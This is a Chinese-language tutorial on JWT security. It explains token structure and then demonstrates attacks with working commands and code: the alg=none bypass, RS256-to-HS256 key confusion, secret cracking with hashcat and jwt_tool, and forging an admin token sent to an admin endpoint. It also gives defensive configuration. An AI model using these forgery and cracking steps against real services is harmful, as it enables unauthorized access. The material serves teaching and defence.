1. JWT基础与安全机制解析
想象一下你走进一家高档会所,前台给你一张特殊磁卡(JWT),之后所有消费只需刷卡无需反复验证身份。这就是JWT的核心价值——无状态认证。但正如磁卡可能被复制伪造,JWT也面临各种安全威胁。
传统Session认证就像会所前台的本子记录,每个用户登录都要登记。当客人暴增时,本子越来越厚(服务器内存压力),且分店之间无法共享记录(扩展性差)。而JWT直接把"会员卡信息+防伪标识"交给客户自己保管,服务端只需验证防伪标识是否有效。
一个标准JWT由三部分组成,用点号连接:
// 实际JWT示例 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ**头部(Header)**相当于产品说明书,声明这是JWT(typ)和使用的签名算法(alg)。常见算法有:
- HS256:对称加密,服务端密钥验证
- RS256:非对称加密,用私钥签名公钥验证
- none:危险的空算法
**载荷(Payload)**是真正的"会员信息",包含三类声明:
- 标准声明:如过期时间(exp)、签发者(iss)
- 公共声明:用户ID等业务字段
- 私有声明:自定义敏感信息(需加密)
**签名(Signature)**最核心,就像银行卡的防伪芯片。其生成逻辑是:
# 伪代码演示签名过程 signature = HMACSHA256( base64(header) + "." + base64(payload), server_secret_key )我曾在一个电商项目审计时发现,开发团队把用户手机号直接放在Payload公共声明里。虽然Base64不是加密,但很多开发者误以为JWT整体是加密的,这会导致严重的信息泄露。
2. 四大常见JWT攻击手法实战
2.1 算法篡改攻击(None算法)
某次渗透测试中,我发现目标系统使用JWT做API鉴权。通过Burp Suite拦截的Token如下:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.7B2Rs4Z7lCDO_RFGWbshNjVK6uYw6Bm7PmvJQnkJNQk尝试将头部修改为:
{ "alg": "none", "typ": "JWT" }重组后的Token(注意第三部分留空):
ewogICJhbGciOiAibm9uZSIsCiAgInR5cCI6ICJKV1QiCn0.eyJ1c2VyIjoiZ3Vlc3QifQ.漏洞原理:JWT规范允许alg=none,表示不验证签名。如果服务端未严格校验算法类型,攻击者可以任意修改Payload内容。
防护方案:
- 服务端必须校验alg字段
- 禁用none算法支持
- 使用白名单限制允许的算法
2.2 非对称算法降级攻击(RS256→HS256)
在某CTF比赛中遇到一个有趣场景:
- 系统使用RS256算法(非对称加密)
- 公钥通过接口可获取
- 服务端存在算法类型混淆漏洞
攻击步骤:
# 1. 获取公钥 curl https://target.com/public.key > public.pem # 2. 修改头部算法为HS256 { "alg": "HS256", "typ": "JWT" } # 3. 用公钥作为HS256的密钥生成新签名关键点:HS256要求服务端和客户端共享密钥。当算法被改为HS256时,如果服务端仍用RS256的公钥来验证,实际上是把公钥当作HS256的密钥使用。
2.3 密钥爆破攻击
去年审计某金融APP时,发现其JWT密钥设置过于简单。使用hashcat进行爆破:
hashcat -m 16500 jwt.txt rockyou.txt -O常用字典选择策略:
- 公司名称/域名组合
- 项目代码中的常量字符串
- 常见弱口令(如"secret"、"password")
我曾用服务器主机名作为密钥爆破成功过,因为开发人员图省事直接用了环境变量。
2.4 无效签名绕过
某些框架的JWT验证逻辑存在缺陷:
# 错误示例:只检查签名是否存在而非有效性 if jwt.split('.')[2]: return "验证通过"攻击方法:保留原签名直接修改Payload,由于签名存在且格式正确,可能绕过检查。
3. 完整JWT伪造实战:从信息收集到权限提升
3.1 案例背景
假设目标系统存在用户权限控制:
- 普通用户:admin=false
- 管理员:admin=true
获取到的普通用户Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6ImZhbHNlIn0.oe4qhTxvJB8nNAsFWJc7_m3UylVZzO3FwhkYuESAyUM3.2 攻击步骤分解
步骤1:解码分析
import base64 header = base64.b64decode("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9") payload = base64.b64decode("eyJhZG1pbiI6ImZhbHNlIn0") print(header) # b'{"alg":"HS256","typ":"JWT"}' print(payload) # b'{"admin":"false"}'步骤2:尝试密钥爆破使用jwt_tool进行自动化测试:
python3 jwt_tool.py eyJhbG... -C -d wordlist.txt成功爆破出密钥:"54l7y"
步骤3:构造高权限Token修改payload后生成新Token:
import jwt new_token = jwt.encode( {"admin": "true"}, key="54l7y", algorithm="HS256" ) print(new_token)步骤4:权限验证用新Token访问管理员接口:
GET /admin/dashboard HTTP/1.1 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6InRydWUifQ.7fW3NwfQ7J5VFjJQv9X7Z2p6v1lTd0Yb7KxkTpq4X3M3.3 防御方案进阶
密钥管理:
- 使用强随机密钥(至少32字符)
- 定期轮换密钥
- 不同服务使用不同密钥
Token校验:
try: decoded = jwt.decode( token, key=current_key, algorithms=["HS256"], # 明确指定允许算法 options={"verify_exp": True} # 必须校验过期时间 ) except jwt.InvalidTokenError: return "Invalid token"黑名单机制: 即使JWT未过期,也可以在Redis中维护已注销Token的黑名单。
4. 企业级安全防护方案
在某银行项目中,我们实施了多层防御:
网络层:
- 强制HTTPS传输
- 设置严格的CORS策略
- 启用HSTS防止SSL剥离
应用层:
// Spring Security配置示例 @Configuration public class JwtConfig extends WebSecurityConfigurerAdapter { @Override protected void configure(HttpSecurity http) throws Exception { http .addFilterBefore(jwtAuthenticationFilter(), UsernamePasswordAuthenticationFilter.class) .sessionManagement().sessionCreationPolicy(SessionCreationPolicy.STATELESS); } @Bean public JwtAuthenticationFilter jwtAuthenticationFilter() { return new JwtAuthenticationFilter( List.of("HS256"), // 允许算法白名单 "/api/public/**", // 开放端点 jwtSecretProvider ); } }监控层:
- 异常Token请求告警
- 高频爆破行为检测
- JWT使用基线分析
实际测试中发现,通过监控Token签发频率可以有效识别爬虫行为。某次攻击中,攻击者每秒尝试数百个不同Token,触发我们的频率限制规则后被自动封禁。